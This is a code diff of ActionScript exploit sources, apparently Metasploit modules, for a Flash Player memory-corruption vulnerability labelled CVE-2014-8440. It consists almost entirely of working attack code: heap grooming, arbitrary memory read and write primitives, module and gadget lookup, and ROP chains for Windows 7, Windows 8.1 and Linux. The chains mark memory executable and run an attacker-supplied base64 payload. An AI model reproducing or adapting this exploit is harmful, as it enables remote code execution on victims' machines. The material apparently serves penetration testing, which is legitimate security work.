else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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@ -1,505 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Msf() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = this.uv[object_vector_pos] - 1
var main:uint = this.uv[object_vector_pos + 2] - 1
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
// Locate the corrupted Vector<uint> in memory
// It allows arbitrary address memory read/write
var ba_address:uint = search_ba_address()
if (ba_address == 0xffffffff) {
return
}
var uv_address:uint = ba_address + index
this.uv[0] = uv_address
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
this.uv[0] = 0xfeedbabe
//index = search_uint_vector(0xffffffff, 114)
index = search_uint_vector(0x40000000, 114)
if (index == 0xffffffff) {
return
}
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
this.object_vector[i] = new Vector.<uint>()
} else {
this.object_vector[i] = new Vector.<Object>()
}
i++
}
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
} else {
objects = this.object_vector[i] as Vector.<Object>
objects.length = 114
objects[0] = this.ba
objects[1] = i
objects[2] = this
objects[3] = this.stack
objects[4] = this.payload_space
}
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
// Use the corrupted shared_ba to disclose its own address
private function search_ba_address():uint {
var address:uint = 0
this.shared_ba.position = 0x14
address = shared_ba.readUnsignedInt()
if (address == 0) {
address = 0xffffffff
this.shared_ba.position = 8
var next:uint = shared_ba.readUnsignedInt()
var prior:uint = shared_ba.readUnsignedInt()
if (next - prior == 0x8000) {
address = prior + 0x4000
}
} else {
address = address - 0x30
}
return address
}
// Use the corrupted uint vector to search an vector with
// interesting objects for info leaking
private function search_object_vector():uint {
var i:uint = 0;
while (i < 0x4000){
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
this.uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
return this.uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

72
external/source/exploits/CVE-2014-8440/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -24,22 +24,22 @@ package
private var ba:ByteArray = new ByteArray()
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var payload:ByteArray
private var platform:String
private var massage:Vector.<Object> = new Vector.<Object>(10000)
private var os:String
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
b64.decode(b64_payload)
payload = b64.toByteArray()
for (var i:uint = 0; i < massage.length / 2; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
// defrag
for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
@ -49,10 +49,8 @@ package
try {
ba.uncompress()
} catch (e:Error) { }
for (i = massage.length / 2; i < massage.length; i++) {
massage[i] = new Vector.<uint>(0x3e0)
}
uv = new Vector.<uint>(0x3e0)
uv[0] = 0
var test:uint = li32(0)
if (test == 0x3e0) {
@ -61,22 +59,8 @@ package
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
return // something failed
}
for (i = 0; i < massage.length; i++) {
if (massage[i].length == 0x3e0) {
massage[i] = null
} else {
Logger.log('[*] Exploit - corrupted vector found at ' + i)
uv = massage[i]
uv[0] = 0
}
}
if (uv.length != 0xffffffff)
return
exploiter = new Exploiter(this, platform, payload, uv)
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}

View File

@ -31,7 +31,6 @@ package
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
@ -40,7 +39,6 @@ package
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
@ -72,10 +70,15 @@ package
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}

View File

@ -9,8 +9,9 @@ package
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
@ -23,13 +24,14 @@ package
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(80000)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
@ -133,12 +135,19 @@ package
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
if (platform == "linux") {
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
@ -147,11 +156,15 @@ package
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
@ -169,16 +182,101 @@ package
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
